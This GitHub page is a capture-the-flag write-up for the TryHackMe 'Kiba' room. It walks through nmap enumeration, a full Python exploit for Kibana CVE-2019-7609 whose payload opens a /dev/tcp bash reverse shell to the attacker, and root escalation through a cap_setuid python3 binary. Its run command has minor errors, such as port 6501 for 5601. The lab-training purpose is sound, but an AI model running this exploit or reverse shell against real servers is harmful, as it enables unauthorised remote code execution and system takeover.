Skip to content

Files

Latest commit

author
Sma-Das
Jul 24, 2021
fe85c78 · Jul 24, 2021

History

History

Kiba

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
Jul 24, 2021
Jul 24, 2021
Jul 24, 2021
Jul 24, 2021

Kiba CTF TryHackMe



Index


export IP=10.10.175.132

Enumeration

nmap -sC -sV -A -v $IP -oN nmap/initial.nmap
# Nmap 7.91 scan initiated Sat Jul 24 16:56:32 2021 as: nmap -vvv -p 22,80,5601 -sC -sV -A -v -oN nmap/initial.nmap 10.10.175.132
Nmap scan report for 10.10.175.132
Host is up, received syn-ack (0.15s latency).
Scanned at 2021-07-24 16:56:33 +04 for 31s

PORT     STATE SERVICE   REASON  VERSION
22/tcp   open  ssh       syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 9d:f8:d1:57:13:24:81:b6:18:5d:04:8e:d2:38:4f:90 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdVrdscXW6Eaq1+q+MgEBuU8ngjH5elzu6EOX2UJzNKcvAgxLrV0gCtWb4dJiJ2TyCLmA5lr0+8/TCInbcNfvXbmMEjxv0H3mi4Wjc/6wLECBXmEBvPX/SUyxPQb9YusTj70qGxgyI6SCB13TKftGeHOn2YRGLkudRF5ptIWYZqRnwlmYDWvuEBotWyUpfC1fGEnk7iH6gr3XJ8pwhY8wOojWaXEPsSZux3iBO52GuHILC14OiR/rQz9jxsq4brm6Zk/RhPCt1Ct/5ytsPzmUi7Nvwz6UoR6AeSRSHxOCnNBRQc2+5tFY7JMBBtvOFtbASOleILHkmTJBuRK3jth5D
|   256 e1:e6:7a:a1:a1:1c:be:03:d2:4e:27:1b:0d:0a:ec:b1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD2fQ/bb8Gwa5L5++T3T5JC7ZvciybYTlcWE9Djbzuco0f86gp3GOzTeVaDuhOWkR6J3fwxxwDWPk6k7NacceG0=
|   256 2a:ba:e5:c5:fb:51:38:17:45:e7:b1:54:ca:a1:a3:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJk7PJIcjNmxjQK6/M1zKyptfTrUS2l0ZsELrO3prOA0
80/tcp   open  http      syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
5601/tcp open  esmagent? syn-ack
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|     HTTP/1.1 400 Bad Request
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     kbn-name: kibana
|     kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c
|     content-type: application/json; charset=utf-8
|     cache-control: no-cache
|     content-length: 60
|     connection: close
|     Date: Sat, 24 Jul 2021 12:56:52 GMT
|     {"statusCode":404,"error":"Not Found","message":"Not Found"}
|   GetRequest:
|     HTTP/1.1 302 Found
|     location: /app/kibana
|     kbn-name: kibana
|     kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c
|     cache-control: no-cache
|     content-length: 0
|     connection: close
|     Date: Sat, 24 Jul 2021 12:56:45 GMT
|   HTTPOptions:
|     HTTP/1.1 404 Not Found
|     kbn-name: kibana
|     kbn-xpack-sig: c4d007a8c4d04923283ef48ab54e3e6c
|     content-type: application/json; charset=utf-8
|     cache-control: no-cache
|     content-length: 38
|     connection: close
|     Date: Sat, 24 Jul 2021 12:56:48 GMT
|_    {"statusCode":404,"error":"Not Found"}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5601-TCP:V=7.91%I=7%D=7/24%Time=60FC0E0D%P=x86_64-apple-darwin18.7.
SF:0%r(GetRequest,D4,"HTTP/1\.1\x20302\x20Found\r\nlocation:\x20/app/kiban
SF:a\r\nkbn-name:\x20kibana\r\nkbn-xpack-sig:\x20c4d007a8c4d04923283ef48ab
SF:54e3e6c\r\ncache-control:\x20no-cache\r\ncontent-length:\x200\r\nconnec
SF:tion:\x20close\r\nDate:\x20Sat,\x2024\x20Jul\x202021\x2012:56:45\x20GMT
SF:\r\n\r\n")%r(HTTPOptions,117,"HTTP/1\.1\x20404\x20Not\x20Found\r\nkbn-n
SF:ame:\x20kibana\r\nkbn-xpack-sig:\x20c4d007a8c4d04923283ef48ab54e3e6c\r\
SF:ncontent-type:\x20application/json;\x20charset=utf-8\r\ncache-control:\
SF:x20no-cache\r\ncontent-length:\x2038\r\nconnection:\x20close\r\nDate:\x
SF:20Sat,\x2024\x20Jul\x202021\x2012:56:48\x20GMT\r\n\r\n{\"statusCode\":4
SF:04,\"error\":\"Not\x20Found\"}")%r(RTSPRequest,1C,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\n\r\n")%r(RPCCheck,1C,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\n\r\n")%r(DNSVersionBindReqTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\n\r\n")%r(DNSStatusRequestTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\n\r\n")%r(Help,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%
SF:r(SSLSessionReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Term
SF:inalServerCookie,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TLS
SF:SessionReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Kerberos,
SF:1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SMBProgNeg,1C,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(X11Probe,1C,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\n\r\n")%r(FourOhFourRequest,12D,"HTTP/1\.1\x20404\
SF:x20Not\x20Found\r\nkbn-name:\x20kibana\r\nkbn-xpack-sig:\x20c4d007a8c4d
SF:04923283ef48ab54e3e6c\r\ncontent-type:\x20application/json;\x20charset=
SF:utf-8\r\ncache-control:\x20no-cache\r\ncontent-length:\x2060\r\nconnect
SF:ion:\x20close\r\nDate:\x20Sat,\x2024\x20Jul\x202021\x2012:56:52\x20GMT\
SF:r\n\r\n{\"statusCode\":404,\"error\":\"Not\x20Found\",\"message\":\"Not
SF:\x20Found\"}")%r(LPDString,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r
SF:\n")%r(LDAPSearchReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r
SF:(LDAPBindReq,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SIPOpti
SF:ons,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 24 16:57:04 2021 -- 1 IP address (1 host up) scanned in 32.12 seconds

We notice a strange port open on 5601. And while nmap is not able to determine what exactly is open there - we can see from its diagnostics that it is some sort of http portal we can access.

open http://$IP:5601

Reveals some sort of visualisation dashboard. We can quickly find what version of Kiba this is from checking the source code of the page and searching for version; which is revealed to be 6.5.4.


Finding vunerabilities

Now that we have a version - we can google for vunerabilities associated with this. Initially you may find Kibana 6.6.1 but disregard this as the room does not want this CVE. It wants CVE-2019-7609. Using the article I found, it points me to a gihub repo with a script in python2 I can use to exploit the dashboard.

#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import re
import sys
import time
import random
import argparse
import requests
import traceback
from distutils.version import StrictVersion

def get_kibana_version(url):
    headers = {
        'Referer': url,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    url = "{}{}".format(url.rstrip("/"), "/app/kibana")
    r = requests.get(url, verify=False, headers=headers, timeout=30)
    patterns = ['"version":"(.*?)",', '"version":"(.*?)",']
    for pattern in patterns:
        match = re.findall(pattern, r.content)
        if match:
            return match[0]
    return '9.9.9'


def version_compare(standard_version, compare_version):
    try:
        sc1 = StrictVersion(standard_version[0])
        sc2 = StrictVersion(standard_version[1])
        cc = StrictVersion(compare_version)
    except ValueError:
        print("[-] ERROR : kibana version compare failed !")
        return False

    if sc1 > cc or (StrictVersion("6.0.0") <= cc and sc2 > cc):
        return True
    return False


def verify(url):
    global version

    if not version or not version_compare(["5.6.15", "6.6.1"], version):
        return False
    headers = {
        'Content-Type': 'application/json;charset=utf-8',
        'Referer': url,
        'kbn-version': version,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}'
    url = "{}{}".format(url.rstrip("/"), "/api/timelion/run")
    r = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
    if r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in r.content:
        return True
    else:
        return False


def reverse_shell(target, ip, port):
    random_name = "".join(random.sample('qwertyuiopasdfghjkl', 8))
    headers = {
        'Content-Type': 'application/json;charset=utf-8',
        'kbn-version': version,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    data = r'''{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"if [ ! -f /tmp/%s ];then touch /tmp/%s && /bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\'; fi\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}''' % (random_name, random_name, ip, port)
    url = "{}{}".format(target, "/api/timelion/run")
    r1 = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
    if r1.status_code == 200:
        trigger_url = "{}{}".format(target, "/socket.io/?EIO=3&transport=polling&t=MtjhZoM")
        new_headers = headers
        new_headers.update({'kbn-xsrf': 'professionally-crafted-string-of-text'})
        r2 = requests.get(trigger_url, verify=False, headers=new_headers, timeout=20)
        if r2.status_code == 200:
            time.sleep(5)
            return True
    return False


if __name__ == "__main__":
    start = time.time()

    parser = argparse.ArgumentParser()
    parser.add_argument("-u", dest='url', default="http://127.0.0.1:5601", type=str, help='such as: http://127.0.0.1:5601')
    parser.add_argument("-host", dest='remote_host', default="127.0.0.1", type=str, help='reverse shell remote host: such as: 1.1.1.1')
    parser.add_argument("-port", dest='remote_port', default="8888", type=str, help='reverse shell remote port: such as: 8888')
    parser.add_argument('--shell', dest='reverse_shell', default='', action="store_true", help='reverse shell after verify')

    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()
    target = args.url
    remote_host = args.remote_host
    remote_port = args.remote_port
    is_reverse_shell = args.reverse_shell

    target = target.rstrip('/')
    if "://" not in target:
        target = "http://" + target
    try:
        version = get_kibana_version(target)
        result = verify(target)
        if result:
            print("[+] {} maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability".format(target))
            if is_reverse_shell:
                result = reverse_shell(target, remote_host, remote_port)
                if result:
                    print("[+] reverse shell completely! please check session on: {}:{}".format(remote_host, remote_port))
                else:
                    print("[-] cannot reverse shell")
        else:
            print("[-] {} do not exists CVE-2019-7609 vulnerability".format(target))
    except Exception as e:
        print("[-] cannot exploit!")
        print("[-] Error on: \n")
        traceback.print_exc()

Which we can use as follows:

python2 -u http://$IP:6501 -host $MY_IP -port 9999 --shell

Alongside a netcat listener, and viola! We have a reverse shell!


Escalating Priviledges

Now that we have access onto the box and the user flag, we can search for vunerabilities. The task very clearly indicates it has something to do with capabilties. If you are unsure what capabilties are, they are "special attributes in the Linux kernel that grant processes and binary executables specific privileges that are normally reserved for processes whose effective user ID is 0 (The root user, and only the root user, has UID 0)."

We can find capabilties which a simple command in linux:

getcap -r / 2>/dev/null

Which yields

/home/kiba/.hackmeplease/python3 = cap_setuid+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep

I wonder which one it is...

Navigating to /home/kiba/.hackmeplease/python3 we can craft up a simple script from GTFOBins to gain root access.

/home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

And we are now root!


Final thoughts

A super simple and straight-forward room. Recommended for beginners and can be an extra challenge to make it medium by designing the reverse-shell script yourself with regards to prototype pollution.